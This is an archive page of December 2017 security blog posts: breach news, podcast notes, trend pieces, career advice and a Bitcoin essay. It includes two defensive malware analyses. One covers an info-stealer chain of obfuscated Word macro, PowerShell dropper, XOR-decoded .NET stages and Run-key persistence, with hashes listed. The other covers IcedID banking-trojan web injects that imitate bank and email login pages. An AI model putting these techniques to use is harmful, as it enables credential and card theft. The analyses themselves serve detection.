Monthly Archives: December 2017

Forever 21 breach exposed customer credit card info for months

If you shopped at a Forever 21 store this year, there's a chance your credit card information may have been stolen, CNET reports. The retail store confirmed this week that between April 3rd and November 18th of this year, a number of point of sale terminals at stores across the US were breached. While it hasn't provided any numbers on how many customers were affected, Forever 21 did say that in most cases, card numbers, expiration dates and verification codes, but not cardholder names, were obtained by hackers. However, in some cases names were also obtained.


Source: Forever 21

Info Stealing: a new operation in the wild

Attack attribution is always a very hard work. False Flags, Code Reuse and Spaghetti Code  makes impossible to assert "This attack belongs to X". Indeed nowadays makes more sense talking about Attribution Probability rather then Attribution by itself. "This attack belongs to X with 65% of attribution probability" it would be a correct sentence.

I made this quick introduction because the following analysis would probably take the reader to think about specific attribution, but it wont be so accurate, so please be prepared to have not such a clear conclusions.

Today I'd like to show an interesting analysis of a quite new InfoStealer Malware delivered by eMail to many International Companies. The analysis shows up interesting Code Reuse capabilities, apparently originated by Japanese Attackers reusing an English Speaker Attacker source code. Again I have not enough artifacts to give attributions but only few clues as follows. In the described analysis, the original sample was delivered by (with high probability a compromised South Africa account) to one of my spamming email addresses.

The obtained sample is a Microsoft Word document within macro in it. The macros were heavily obfuscated by using four rounds of substitutions and UTF-8 encoding charsets (which, by the way, is super annoying). The following image shows the obfuscated macro code with UTF-8 charsets.

Stage 1: Obfuscation
 By using oletools and "tons" of cups of coffee (to be awake until late night to make recursive steps) I finally was able to extract the invoked command, showed in the following image.

Stage 1: Invoked Command
A fashionable powershell command drops and executes: hxxp:// Powershell seems to be a "must have" in contemporary Malware. Analyzing the "dropping" url and tracking down the time it is in "Index Of" mode (2017-0-13), I suspect it is not a compromised website rather a crafted web server or a compromised host of a dead company.

Dropping Web Site

By surfing on the Malware propagator web site I founded out many malicious executables (sees IoC section) each one showing up specific behaviors such as: password stealers, RAT and Banking Trojans. Even if the samples were developed for different targets, all of them shared the following basic behaviors:

  • Check for victims IP address before getting into Malicious activities (maybe related to targeted activities)
  • Install itself into auto execution path
  • Tries to fingerprint the target system (such as CPU, HD, Memory, Username, System, etc..)
  • Sniff for Keystrokes

I'd like to write a simple analysis for each found sample, but today time is not my friend, so let's focalize to one of the malicious samples. Let's get done the received sample by digging into the "second stage" dropped by the powershell "first stage" from After few seconds on second stage (off.exe) it became clear that it was a .NET software. By reversing the interpreted .NET language some clear text comments appeared interesting. Japanese language such as comments and variable names came out from static analysis. Let's have a look to them.

Stage 2: Apparently Japanese characters

While the sample pretends to be compiled from "Coca-Cola Enterprise" (maybe a target operation against Coca-Cola ? Or a targeted operation agains Coca-Cola Suppliers ? So why it ended up to my inbox ? Anyway ... ) google translator suggests me that Japanese characters are in text: such as the "Entry Point", "Class names" and "Function Names". 

Stage 2: Japanese Names and Self Encoding Structures

It was not hard to figure out that Stage 2 was auto-extracting bytes from itself (local variables) and saving them back to hard drive after having set up auto execution registry key on windows local registry.  The following image shows the xoring function used to decrypt converted bytes to the real payload. 

Stage 2: Xoring function to extract Stage 3

On my run, the xored payload took the name of GIL.exe; another .NET  executable. We are now facing the third stage. By analyzing the decompiled sample it became clear that:
  • The coding style was quite different from the previous stage (Stage 2)
  • The implementation style was different from the previous stage as well
  • The sample was interested on information about the user, the machine, the webservices on the PC and to many more windows specific parameters.
Stage 3:  New Language in Strings and Class names
Stage 3: New Code Style

By closely investigating Stage 3, the analyst would probably notice the heavy presence of "decorators", a different format in the definition style and last but not least the code composition. Everything looks like belonging to different single developers. The variable language, the comments structure and the general usage of terms, takes the analyst to believe in having found two different developers belonging to different cultures (maybe countries). Finally the malware looks for users, computes, and webservices informations and drops everything up to C2 by posting parameters to :

Following the principal IoC for the described threat.
  • Hash Stage 1:
    • 7f1860673de9b1c2e6f7d6963a499e8ba4e412a1
    • bf4a26c9e52a8cacc7afd7d95d197bff1e47fb00
  • Hash Stage 2:
    • ac55ee783f3ed0bd23eccd01040a128dc6dc7851
  • Hash Stage 3:
    • 6a38e4acd9ade0d85697d10683ec84fa0daed11c
  • Persistence: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\kij %APPDATA%\Roaming\kij\kij.exe
  • Dropping URL:
  • Command and Control:
  • Related hashes from harvesting Dropping URL:
    • 62c9d2ae7bafa9c594230c570b66ec2d4fa674a6
    • b15b69170994918621ceb33cb339149bdff5b065
    • 55abcfb85e664fbc8ad1cb8b60a08409c2d26caa
    • f843427e9b7890f056eaa9909a5103bba6ffb8fd
    • f2b81e66fcb1032238415b83b75b3fe8bf28247d
    • cab90f7c935d355172b0db123d20b6a7d1403f65
    • c1ba30d7adec6d545d5274f95943f787ad4c03e7
    • ed9959bb0087f2c985b603cee0e760f3e0faaab15
    • c93851627ffd996443f85d916f3dbedd70e0ff69
    • 144b34b4816062c2308a755273159e0460ffd604
    • 98293b80ccf312a8da99c2b5ca36656adebd0d0f 
    • 2875d1b54337b1c17c8f4cd5f6b2d579667ee3d9 
    • 0b4299ffb3f9aa59e19dd726e79d95365fe1d461
    • 46bb0b10d790a3f21867308e7dcdeb06784a1570
    • 0960726560a94fbbb327aa84244f9588a3c68be8 
    • a480a75c3af576e5656abadb47d11515a18a82be
    • 2ba809c53eda2a475b1353c34f87ce62b6496e16
    • 5b0c3071aa63e18aa91af59083223d3cceb0fa3c 
    • dc780bf338053e9c1b0fdf259c831eb8a2768169

As final thought I'd like to highlight the following key concept of that analysis:
  • From a single email, the analyst could discover attacker's assets, mapping them and disarming them (through IoC). 
  • The analyzed code shows apparent evidences to belonging to different groups of attackers.
  • The analyzed samples show code reuse. Code reuse is dangerous because it makes attackers more powerful and extremely quick to change Malware behavior.
Hope you enjoyed.

Happy New Year – Startup Security Weekly #67

This week, Rick Olesek and Rich Walchuck of CryptoniteNXT join us for an interview! In the article discussion, we talk about startups most likely to succeed, how to pitch your app to investors, and calculating your total addressable market! In the news, we have updates from Thales, Amazon, Convercent, ADT, and more on this episode of Startup Security Weekly!

Full Show Notes:

Visit for all the latest episodes!

Merry Christmas – Paul’s Security Weekly #541

Bob Hillery, Co-Founder and Director of InGuardians joins us for an interview, and Kevin Finisterre, Principal of the Security Consultancy of Department 13 joins us to deliver the tech segment! In the news, Uber pays hacker to keep quiet, flaw in Intel processors allowing undetectable malware, Apple patches other High Sierra security holes, and more on this episode of Paul's Security Weekly!

Full Show Notes:

Visit for all the latest episodes!

Cyber Security Trends: What to Watch for in 2018

As we wrap up another calendar year, we can’t help but think about the near future and what it holds in store for the cyber security - and Distributed Denial of Service (DDoS) as a growing issue. Based on Corero’s visibility into environments dealing with DDoS, we’ve summarized a few of the biggest trends we see on the horizon for 2018.

DDoS Cripples Cryptocurrency Exchanges

DDoS attacks against cryptocurrency have been a fairly common occurrence as of late, crippling the exchanges. This is the second attack against Bitfinex this month. With the growing popularity of digital currencies, the number of those attacks is likely to increase in the future. DDoS attacks against any digital currency could be utilized to manipulate the exchange market or the targeted currency. They can prevent traders from logging into accounts and making transactions, causing the value to drop. Attackers can then pause the attack efforts to buy as much as they can while the price is low – impacting the overall value of the currency. Just recently, in mid-December, DDoS attacks on cryptocurrency companies affected trading volume and price. Whether or not the Bitcoin fever will turn into a big burst bubble, we expect cryptocurrency exchanges to suffer many forms of cyberattack, from ransomware attacks to DDoS attacks, or some combination of both, which we are calling RDoS attacks.

IoT Security Troubles Rising

The Internet of Things (IoT) is developing rapidly; predicts that in 2018 there will be 23.14 billion IoT devices, compared with 20.35 billion in 2017. As the number of connected devices grows, so do the threats that come with it, making this another major concern in cyber security predictions for 2018. The availability of Internet connected devices with vulnerable operating systems are paving the way for massive botnet activity, which is further driven by the proliferation of DDoS- for-hire services.

DDoS Assessment

These “zombie armies” of connected devices can then be leveraged in both large scale and everyday DDoS attack activity. As we know too well, a DDoS attack is easy to launch as it does not require in-depth understanding of programing or networking. The largest DDoS attack to-date was a record 1.2 Tbps, in late 2016 against Domain Name Service provider, Dyn. Investigation into this attack showed that a large number of IoT devices were hijacked as botnets to carry out the attack. It’s becoming harder to ignore the security risks associated with IoT, which is why this concern will continue to dominate into 2018.

Hybrid Clouds on the Horizon

This prediction has been topping the lists for quite some time, and it is most likely going to be there for several more years to come. As enterprise architectures evolve into services and virtualization deployments across heterogenous environments, standardized protection against the evolving cyber threat landscape has never been more critical.

These steady migrations will require a comprehensive cyber security strategy to properly protect against the evolving threat landscape, including DDoS. Layered security strategies must meet the demand of innovative organizations. Their move toward public and private clouds must be elastic to deploy and scale as needed.

Compliance will be Crucial

Governmental regulations have already influenced the 2018 cyber security space. So far the US and EU have been largest drivers of cyber security regulation, with the European General Data Protection Regulation (EU GDPR) set to be in place in May 2018. Even ahead of GDPR, many worry about the implications of the European Union Network and Information Systems (NIS) Directive, which could mean monetary fines for critical infrastructure organizations that experience service outages due to a cyberattack. In the US, the next wave of National Institute of Standards and Technology (NIST) guidelines could impact how Federal agencies safeguard the information contained in their systems and ensure that these systems operate securely and reliably.

In 2018 there will be no shortage of cyber security threats, government mandates to follow or steps to take in order to safeguard your network and data. Corero’s team of cyber security experts has been helping organizations overcome such difficult challenges for more than a decade, and we stand ready as ever to help again in the coming year.

For more information, contact us.

Liquidmatrix Security Digest Podcast – Episode 73

Episode 0x73

Surprise! Happy Holidays

Are you having a happy holiday? Listen to us and you’ll have a happy holiday.

Upcoming this week…

  1. Lots of News
  2. Breaches
  3. SCADA / Cyber, cyber… etc.
  4. finishing it off with DERPs/Mailbag (or Deep Dive)
  5. And there are weekly Briefs – no arguing or discussion allowed

And if you’ve got commentary, please sent it to for us to check out.

DISCLAIMER: It’s not that explicit, but you may want to use headphones if you’re at work.

ADDITIONAL DISCLAIMER: In case it is unclear, this is the story of 5 opinionated infosec pros who have sufficient opinions of their own they don’t need to speak for anyone except themselves. Ok? Good.

In this episode:

Download the MP3


Subscribe to us using plain old

Also, we’re now available through


Creative Commons license: BY-NC-SA

The post Liquidmatrix Security Digest Podcast – Episode 73 appeared first on Liquidmatrix Security Digest.

Introducing Haven, the open source security system in your pocket

Today we’re proud to announce the release a new Android app called Haven, an open source security system for journalists and human rights defenders.

Haven is a "personal security system" that empowers individuals to use a cheap second phone running free, open-source software to monitor their possessions and physical spaces when they are away from them. Haven is a joint project between Guardian Project and Freedom of the Press Foundation (FPF).

Imagine you are a journalist working in a hostile foreign country and you are worried about security services breaking into your hotel room and rifling through your belongings and computer while you are away. Haven detects changes in the environment using the sensors in a typical smartphone—the camera, microphone, gyroscope, accelerometer, ambient light, USB power—to alert you if anyone enters your space or attempts to tamper with your devices while you aren’t there.

The Haven app can then send end-to-end encrypted alerts to your phone via Signal, and you can monitor activity remotely through a Tor Onion Service. Importantly, Haven does not rely on the cloud and does not transmit data that third parties can access unless you have SMS functionality turned on in situations where you don’t have data or wifi.

Freedom of the Press Foundation board president Edward Snowden, who has been leading the project on the FPF side, explains exactly how Haven works in the video above. You can also read more about the project in Snowden's interview with Wired's Andy Greenberg.

Haven is also 100% free and open source software. Right now, it’s still in beta, so we would love your help in making it better. We are looking for testers, developers, designers, and partners, to build the community that can make Haven all it can be.

Please visit Haven’s Github page for more information for how you can contribute. Freedom of the Press Foundation has set up a donate page to support Guardian Project’s further development of the project as well. Guardian Project's developers have created this app on a shoestring budget and all proceeds will go to furthering their amazing work.

You can download the Haven app on Google Play and F-Droid.

The Biggest Cybersecurity Stories, Breaches and AppSec Lessons of 2017

Biggest Breaches and AppSec News 20917

The past year featured daily news about cyberattacks, data breaches, and software vulnerabilities. If it feels like our cybersecurity challenges grow bigger and more complex, year after year, it's more than just a perception. Research from security companies, including CA Veracode, shows that there are more attacks than ever, and organizations have not caught up with the preventive measures needed to meet the challenge.

Web application attacks are the leading cause of confirmed breaches, according to Verizon. Meanwhile, Akamai found in its research for the State of the Internet Security Report that attacks on web applications increased by 69 percent from Q3 2016 to Q3 2017. The number one web application attack vector continues to be SQL injection, and SQL injection attacks increased by 62 percent year over year, Akamai reports.

What's even more troublesome is that SQL injection, the number one application risk in the 2017 OWASP Top 10, is stubbornly difficult to eliminate. CA Veracode's research, for our 2017 State of Software Security (SOSS) report, found that 28 percent of applications have a SQL injection vulnerability, a figure that hasn't changed much over the past five SOSS reports.

As these grim statistics make clear, application security is more important than ever. Fortunately, among the takeaways from our SOSS report, is the fact that application security programs make a significant difference in reducing risk. For example, the OWASP pass rate of applications improved by 13 percent after the initial scan. And that improvement accelerates over time, with the most mature application security programs seeing a 35 percent better OWASP pass rate than organizations just starting out on their application security journey.

While the stakes couldn't be higher, there are some lessons we can draw from the big application vulnerabilities, data breaches, and cyberattacks we witnessed in 2017. The infographic below offers key takeaways from four of the biggest cybersecurity stories of the last year, including ongoing cyberattacks on elections, the WannaCry ransomware, third-party breaches and insider attacks at HBO and Netflix, and the record-breaking breach of Equifax.

Our year in review infographic also includes security tips that can help organizations prevent these kinds of attacks and breaches in the future. For more information on best practices that can prevent vulnerabilities in your software, download our State of Software Security Developer Guide.


IcedID New Tricks: Where Banking Trojan meets Phishing

IcedID Expanding Target List

Although ransomware has been getting all the headlines in the news, banking trojans continue to be an issue.  New variants are constantly evolving and offering new risks. At UAB, we have been looking closely at banking trojans such as Ramnit, TrickBotIcedID and so on. Recently, Cliff Wilson, malware analyst at UAB malware lab, contributed in establishing that TrickBot is spamming. TrickBot was silent for the past week, so he was asked to take a dive in at IcedID banking trojan.

IcedID Banking Trojan

This analysis focuses on the malware sample with the hash:

This sample is identified by ESET as "Win32/Spy.Icedid.A", although many AV engines, including Ahn, Aegis, and Kaspersky, refer to it as being part of the Andromeda family.  As with most malware, most AV engines offer the meaningless identifier "Generic" such as AVG (Win32:Malware-Gen), McAfee (Generic  Trojan.i), Symantec (Trojan.Gen.2), TrendMicro (TROJ_GEN.R002C0WL517),

While testing this sample, we noticed the same behavior we have observed before: web injects and phishing pages on financial websites. During further analysis of the IcedID process and its web-injects, Cliff made an interesting observation.

The URL https[:]//financebankpay[.]com/ was found in the web-injects and contains dozens of ‘mock’ web pages and phishing pages to IcedID’s targeted sites. The pages we have observed in the past IcedID sample were present: pages for Discover, Citi, Chase, Amazon, Amex and few others. Several new pages were discovered, which we had not observed before. was purchased from Chinese registrar EraNet and hosted on a Russian IP address.  The WHOIS information was bogus, borrowing the name of a man from Texas, but saying he lived in the city of "Kileen" with the state "DK", using a throw-away email from "" for his WHOIS email address.

When visiting a targeted URL, the webinject was loaded by the malware by pulling a page from from one of the following paths, and presenting it as if it were content from the true brand.

cashpro  (a banking portal for Bank of America)
ktt_key  (Key Bank) 
live        (Microsoft email services)

A few examples of the new emulated pages with injected code are as follows.


Fig. 1: Login Page for Google Account
The google web-inject can be reached by trying to login through any Google service (Gmail, Hangouts, Youtube) when infected with IcedID



Fig. 2: Login Page for Outlook

US based banks


Fig 3. Stealing credit card details and PIN for a US bank

Fig. 4: Business Portal Login for US Based Bank

Additional findings

This sample, along with other recently tested IcedID samples exhibited these similar behaviors.
  • created the directory \onaodecan in \AppData\Local
  • created “sonansoct.exe” within this directory
  • soon after created a .TMP file within \AppData\Local\Temp
  • opened this file as a process, then closed the main process
  • this file was updated throughout the testing period
  • other .TMP files were also created, but not executed (further analysis of these files is needed)
  • any visited URL could be found in the memory strings of the .TMP process after visiting
Researchers will continue to provide regular and interesting updates about the different types of Banking Trojans floating in the wild. We need a consistent and combined effort from all the financial institutions to deal with such a malaise for the banking sector and end users.

Congress is debating NSA’s spying powers. Demand they end warrantless surveillance on Americans.

NSA at Night by Trevor Paglen
Trevor Paglen

Once again, controversial National Security Agency (NSA) surveillance powers that affect millions of Americans are up for renewal in Congress, and lawmakers are attempting to ram through extreme and unconstitutional spying policies with virtually no debate.

Congress has known for years that Section 702 of the Foreign Intelligence Security Act—which allows the NSA to warrantlessly collect and read the communications of an untold number of Americans if they are talking to someone internationally—was set to expire at the end of the year. Yet as they did in 2012, Congress has waited until the very last minute to bring the topic up for a vote in the hopes that they could quickly pass a bill without the American public realizing what’s happening.

Civil liberties advocates have been decrying the NSA’s powers under Section 702 of FISA Amendments Act as unconstitutional for years, and a large bipartisan group of lawmakers have called for new restrictions. Yet House Republicans on Wednesday attempted to pass a bill that actually would have expanded these powers even further without any debate.

Not only would the Republicans’ bill have extended Section 702 with no reforms for years, but it would’ve explicitly allowed the FBI to target Americans’ emails in NSA databases without a warrant, and it would also have restarted the collection of Americans’ international emails that were merely about an NSA target—a controversial and unconstitutional practice that was just halted earlier this year.

If you want to read more about the extreme dangers in the bill that Republicans were proposing, Edward Snowden and the ACLU held a detailed Reddit AMA on the bill on Wednesday that you can read here.

But thankfully, after widespread outcry on Wednesday, the bill was pulled and a vote postponed. But the fight is far from over, and the next steps for Section 702 are uncertain. While it’s set to expire on December 31, the Trump administration is arguing it can keep the program going through at least April. Lawmakers could vote to temporarily reauthorize Section 702, or they could try again to rapidly push through legislation that expands NSA spying powers. 

But one thing’s for certain: As we saw yesterday, together we can pressure Congress to respect the Fourth Amendment. Americans deserve transparency, real legislative debate, and policies that keep them safe without violating their right to privacy.  Call your representatives and urge them to protect your privacy and vote no on reauthorization of Section 702 without serious reforms that end warrantless, mass surveillance.

Firestarter: An Explicit End of Year Roundup

Posted under:

The gang almost makes it through half the episode before dropping some inappropriate language as they summarize 2017. Rather than focusing on the big news, we spend time reflecting on the big trends and how little has changed, other than the pace of change. How the biggest breaches of the year stemmed from the oldest of old issues, to the newest of new. And last we want to thank all of you for all your amazing support over the years. Securosis has been running as a company for a decade now, which likely scares all of you even more than us. We couldn’t have done it without you… seriously.


- Rich (0) Comments Subscribe to our daily email digest

Blog-ified Tweetstorm

I dumped this on Twitter as a tweetstorm, but it is worth sharing here in one place.

Those who have followed me for a while have probably noticed that I rarely get technical here anymore. My world, and world view have changed.

I still play with stuff, but it tends to be specific to the nice folks who pay me, or esoteric stuff for personal use. Or for @SecurityBSides networks and labs.

I believe that right now I can do more good by supporting our communities and the people in them (that means YOU) than by focusing on technology myself.

The past few years have not been fun for me. My wife had a 2.5 year battle with cancer which ended a year ago this Friday, I've spent the past year discovering what it means to be without her after 40 years together.

(Also, this "being single" thing is bizarre, now I get what you kids have been complaining about- but that's a story for another day, or a stand-up comedy set)

Thank you all for all of your words and acts of kindness, large and small. It has meant a great deal to me. I might not be here now if not for the support of more people than I can thank.

Yeah, I said that. There were days when I asked myself the question "Do I want to wake up tomorrow?". And there were times when the answer was "no". I never seriously considered acting on it, but yes, there were ugly days, and not just a few.

If I can repay the amazing support and kindness shown to me by making things less bad for others I'm all in.

Disclaimer: I am not a psychologist, therapist, doctor, or anything like that. That said, if you need someone to talk/vent/rant/cry to, I'll be here as much as I can. Really. Dealing with stress, burnout, anxiety, illness, or death: I'll do my best to be here for you.

I travel a lot and I'm not always available, so don't count on me for immediate responses. But count on me. And if I get overwhelmed, I'll back off until I can resume.

I'm not the only one to make an offer like this, find one of us or turn to professionals if you need more than a sympathetic ear.

The holidays are a time of happiness and joy for many people. But they are also unpleasant for many of us, so let's take care of each other this holiday season. And the rest of the year, too.

Now you smart kids get busy on the technology stuff.



Pending Legislation May Allow Cyber Victims to Hack Back

A new piece of legislation proposed in October by U.S. Rep. Tom Graves (R-Ga.) and Rep. Kyrsten Sinema (D-Ariz.) would allow Victims of cyber security attacks to “hack back” at perpetrators. The legislation would amend a 1986 law that made it a federal crime to access someone else’s computer without proper authorization. It would call for companies to first report the hack to the FBI, and notify the agency before they can “hack back.”

According to The Hill, “Victims would be able to leave their networks to attribute attacks, disrupt them, retrieve or destroy stolen data and track the behavior of the attacker. They would also, if files were stolen, be able to use beaconing technology to find the physical location of a hacker.”

Cyber security and legal experts have expressed criticism and skepticism about the proposed legislation. It raises a host of legal and ethical questions such as, should companies have the right to mete out cyber forms of retribution or punishment? Should private corporations have the right to engage in cyber offense, instead of only defense? Do companies have the necessary expertise to know who actually attacked them, and how to fairly hack back? And by the way, what kind of hack back would be fair and legal; would courts define some sort of an “eye for an eye, tooth for a tooth” acceptable form of hack back? What if the hackers represent terrorists or a nation-state, but that fact is not realized until after the corporation engages in a hack back; what would be the geo-political implications? For example, this week the US and UK blamed North Korea for launching the infamous May 2016 WannaCry attack; do organizations really feel equipped or willing to tangle with a nation-state group of hackers?

One good aspect of the legislations is that by requiring organizations to notify the FBI, it would make the FBI more aware of cyber security incidents. Furthermore, it would provide some layer of process and accountability; if the FBI is aware of a hack back attempt, perhaps the organizations hacking back would be more fair and judicious in their efforts.

In terms of distributed denial of service (DDoS) attacks, it is typically very difficult for law enforcement to identify the actual hackers, because of the very nature of the attacks; the offending packets come from a distributed network of compromised devices. In other words, the organization or person who possesses a compromised device is not launching the attack, they are just an innocent intermediary, caught up in a DDoS botnet.

Even the FBI can’t easily catch DDoS hackers, so chances are that an independent organization would have a very difficult time tracking them down. Those that are caught tend to be the ones who launched massive, headline-grabbing, volumetric attacks. In reality, the vast majority of DDoS attacks are short, sub-saturating ones that escape the radar of legacy DDoS mitigation solutions. Yet it is those “everyday” stealthy short attacks that can pave the way for hackers to conduct a true security breach that can have lasting, deep impacts on an organization.

Lastly, one has to ask whether it would be a good use of IT security time to hack back. When it comes to DDoS attacks, surely it would be more time and cost-effective to block the attacks with effective DDoS protection rather than to hack back at a nebulous, fleeting enemy in cyber space.

For more information, contact us.

Beyond the blockade

Since 2012, Freedom of the Press Foundation (FPF) has accepted donations on behalf of WikiLeaks readers after Visa, Mastercard and PayPal instituted an extra-legal financial blockade of WikiLeaks in 2011 and 2012.

When WikiLeaks started publishing classified State Department cables in conjunction with the New York Times and other papers in late 2010, government officials had pressured US companies to cut off services to WikiLeaks—despite the fact that their publications were clearly protected speech, and that no court ever ruled WikiLeaks had broken any laws.

The episode was a disturbing end run around the First Amendment by US government officials, and we aimed to ensure it could never happen to any media organization again. As our founding board member Glenn Greenwald wrote at the time, “The primary impetus for the formation of this group was to block the US government from ever again being able to attack and suffocate an independent journalistic enterprise the way it did with WikiLeaks.”

These efforts were ultimately successful. Last month, FPF’s board unanimously concluded—based on the available evidence—that the financial blockade by Visa, Mastercard, and PayPal is now over and likely has been for some time.

WikiLeaks now accepts online donations through the German non-profit Wau Holland, which was how they accepted donations before FPF was founded. Because the blockade has been lifted, FPF will cease taking donations for WikiLeaks ourselves in mid-January 2018, and instead, point current donors who want to support WikiLeaks to Wau Holland's website.

We consider the end of the unjust financial blockade an important victory for free expression. We are proud to have been an avenue for WikiLeaks readers to express themselves for the past several years. And if a press organization faces such a blockade again, we plan on being there to fight it.

It’s important to note that just because WikiLeaks can take their own donations again, it does not mean that their broader First Amendment rights—and the rights of all media outlets—are not under threat. The Trump administration has dangerously referred to WikiLeaks as a “non-state hostile intelligence service” and there have been reports that the Justice Department is seeking the arrest of WikiLeaks founder Julian Assange.

We strongly oppose any prosecution of WikiLeaks or Assange for their publishing activities. Whether one likes WikiLeaks or not, the grand jury investigation into their publications is a grave threat to the press freedom of all media institutions. We plan on continuing to loudly protest any such actions by the Trump administration if they move forward.

Christmas Directories – Enterprise Security Weekly #73

This week, Paul and John talk about Active Directory insecurity, how to solve problems with endpoint detection and response, and how to fix authentication issues! In the news, we have updates from Flexera, Amazon, ExtraHop, and more on this episode of Enterprise Security Weekly!


Full Show Notes:


Visit for all the latest episodes!

Transitioning from Blue Team to Red Team

I moved from Desktop Supervisor to Network Security in 2000. I did Blue Team for two companies from 2000 until early this year. At that point I was given an opportunity to move to Red Team as the company's in-house penetration tester. Starting in a new discipline in Network Security is a daunting task after spending so many years in another area, but a couple of things already were in my favor. I had taken two Red Team oriented SANS courses and certified in both and I had been doing deep dive intrusion analysis for all those years. I was exposed to a lot of methodologies and exploits.

But defending isn't attacking, and the learning curve was (is) still very wide. Fortunately, there are shared areas of knowledge between being an intrusion analyst and a pen tester. If you're just breaking into network security, those areas will serve you well regardless of what direction you go (or change to in the future).

1. Linux

Linux is the operating system of choice for the majority of tools for both pen testing and intrusion analysis. There are some exceptions, tools you can only run on Windows, but that's a very small subset. The more Linux you learn, the better prepared you'll be to use whichever tool is the correct one for any given situation. Fortunately, there's more free (and excellent) self training on Linux than any other subject I know of. You don't need to spend thousands of dollars taking training courses or get a Linux certification; there are hundreds of sites that will teach you step by step. Of course, if you're fortunate enough to work for a company that wants you to do RedHat or Linux Foundation training and will pay for it, by all means do so. Certifications will help you both move up in your current position and, if you should need to or choose to, find a new position. Redhat is the most well known name and bigger companies will be running it because of their excellent support, but there are other good courses and certs you can obtain. But by all means, spin up a Linux machine and get in it and learn. The more you learn, the better off you'll be.

2. Scripting

You don't need to be a programmer to do either job, but learning some scripting skills will really help you. Whether it's Bash or a language like Python or Ruby or Perl, being able to create a script to do repetitive tasks is an immense time saver. Another advantage is that if the tool you need to use is written in a shell or a language you understand, you can open it and follow the logic to see what it does, or even modify it, tweak and customize it, to suit your unique purpose. Python is extremely popular right now so a lot of the tools being released are written in it. And it's one of the easiest languages to learn. And, like Linux, there are a lot of free resources to learn Python.

3. Networking

Learning about networking is essential, whether you're running exploits or investigating an attack. Without a basic knowledge of how networks work and the components that comprise them, you'll be confused and lost in a short amount of time. You don't have to be a packet jockey to do intrusion analysis (the vast majority of attacks have switched from server side to client side anyways), but you will need to be able to follow the flow of traffic and understand the protocols in use to get a clear picture of the attack and whether it was successful or not. From a pentester's vantage point, you need to understand the network you're attacking to find the correct target and use the correct tool, and to be able to understand the responses your attack receives. If it's unsuccessful, you need to be able to determine why and what to change. The more you understand, and it's a vast and complex field, the better off you'll be.

Finally, whatever direction you go in, invest in yourself learning. The hardest part of doing that is your free time. You're not going to be able to learn everything you need to know while at your job or in a weeks worth of training once a year. If you want to advance, you'll need to sacrifice some of your own free time to study and learn. If it's something you naturally enjoy learning about, it won't be too big a burden. If you absolutely hate studying the subject matter, maybe it's time to step back and reassess if this is really what you want to do the rest of your life.

Good luck in your career, and Merry Christmas and have a Blessed New Year.

How to securely erase your Android device in 4 steps

It's an inevitable moment in the smartphone-owning cycle, the point at which a newer, shinier model comes along and your trusty old device is no longer needed.

Maybe your company bought you a new Android phone. Maybe your old one was getting too slow. Or maybe you just love electronics and couldn't resist the lure of whatever sexy new Android device your favorite manufacturer started selling.

Whatever the case, it's common nowadays to find yourself with an extra phone. And while there are plenty of practical uses for an old Android device, there's also a time when the best choice is to sell, donate, or otherwise pass it along.                                                                            

To read this article in full, please click here

How to securely erase an iPhone in just 3 steps

There are two main scenarios in which erasing an iPhone is called for: Either you’re getting a new phone, or the one you have is having problems.

The most common reason involves iPhone owners who trade up to newer models, usually in the fall after Apple unveils its latest line-up. Let's say you buy the new iPhone X and then plan to trade in or sell your older iPhone 7; you’ll need to make sure your data is no longer present once the old phone leaves your possession.

To read this article in full, please click here

Bitcoin: In Crypto We Trust

Tim Wu, who coined "net neutrality", has written an op-ed on the New York Times called "The Bitcoin Boom: In Code We Trust". He is wrong about "code".

The wrong "trust"

Wu builds a big manifesto about how real-world institutions can't be trusted. Certainly, this reflects the rhetoric from a vocal wing of Bitcoin fanatics, but it's not the Bitcoin manifesto.

Instead, the word "trust" in the Bitcoin paper is much narrower, referring to how online merchants can't trust credit-cards (for example). When I bought school supplies for my niece when she studied in Canada, the online site wouldn't accept my U.S. credit card. They didn't trust my credit card. However, they trusted my Bitcoin, so I used that payment method instead, and succeeded in the purchase.

Real-world currencies like dollars are tethered to the real-world, which means no single transaction can be trusted, because "they" (the credit-card company, the courts, etc.) may decide to reverse the transaction. The manifesto behind Bitcoin is that a transaction cannot be reversed -- and thus, can always be trusted.

Deliberately confusing the micro-trust in a transaction and macro-trust in banks and governments is a sort of bait-and-switch.

The wrong inspiration

Wu claims:
"It was, after all, a carnival of human errors and misfeasance that inspired the invention of Bitcoin in 2009, namely, the financial crisis."
Not true. Bitcoin did not appear fully formed out of the void, but was instead based upon a series of innovations that predate the financial crisis by a decade. Moreover, the financial crisis had little to do with "currency". The value of the dollar and other major currencies were essentially unscathed by the crisis. Certainly, enthusiasts looking backward like to cherry pick the financial crisis as yet one more reason why the offline world sucks, but it had little to do with Bitcoin.

In crypto we trust

It's not in code that Bitcoin trusts, but in crypto. Satoshi makes that clear in one of his posts on the subject:
A generation ago, multi-user time-sharing computer systems had a similar problem. Before strong encryption, users had to rely on password protection to secure their files, placing trust in the system administrator to keep their information private. Privacy could always be overridden by the admin based on his judgment call weighing the principle of privacy against other concerns, or at the behest of his superiors. Then strong encryption became available to the masses, and trust was no longer required. Data could be secured in a way that was physically impossible for others to access, no matter for what reason, no matter how good the excuse, no matter what.
You don't possess Bitcoins. Instead, all the coins are on the public blockchain under your "address". What you possess is the secret, private key that matches the address. Transferring Bitcoin means using your private key to unlock your coins and transfer them to another. If you print out your private key on paper, and delete it from the computer, it can never be hacked.

Trust is in this crypto operation. Trust is in your private crypto key.

We don't trust the code

The manifesto "in code we trust" has been proven wrong again and again. We don't trust computer code (software) in the cryptocurrency world.

The most profound example is something known as the "DAO" on top of Ethereum, Bitcoin's major competitor. Ethereum allows "smart contracts" containing code. The quasi-religious manifesto of the DAO smart-contract is that the "code is the contract", that all the terms and conditions are specified within the smart-contract code, completely untethered from real-world terms-and-conditions.

Then a hacker found a bug in the DAO smart-contract and stole most of the money.

In principle, this is perfectly legal, because "the code is the contract", and the hacker just used the code. In practice, the system didn't live up to this. The Ethereum core developers, acting as central bankers, rewrote the Ethereum code to fix this one contract, returning the money back to its original owners. They did this because those core developers were themselves heavily invested in the DAO and got their money back.

Similar things happen with the original Bitcoin code. A disagreement has arisen about how to expand Bitcoin to handle more transactions. One group wants smaller and "off-chain" transactions. Another group wants a "large blocksize". This caused a "fork" in Bitcoin with two versions, "Bitcoin" and "Bitcoin Cash". The fork championed by the core developers (central bankers) is worth around $20,000 right now, while the other fork is worth around $2,000.

So it's still "in central bankers we trust", it's just that now these central bankers are mostly online instead of offline institutions. They have proven to be even more corrupt than real-world central bankers. It's certainly not the code that is trusted.

The bubble

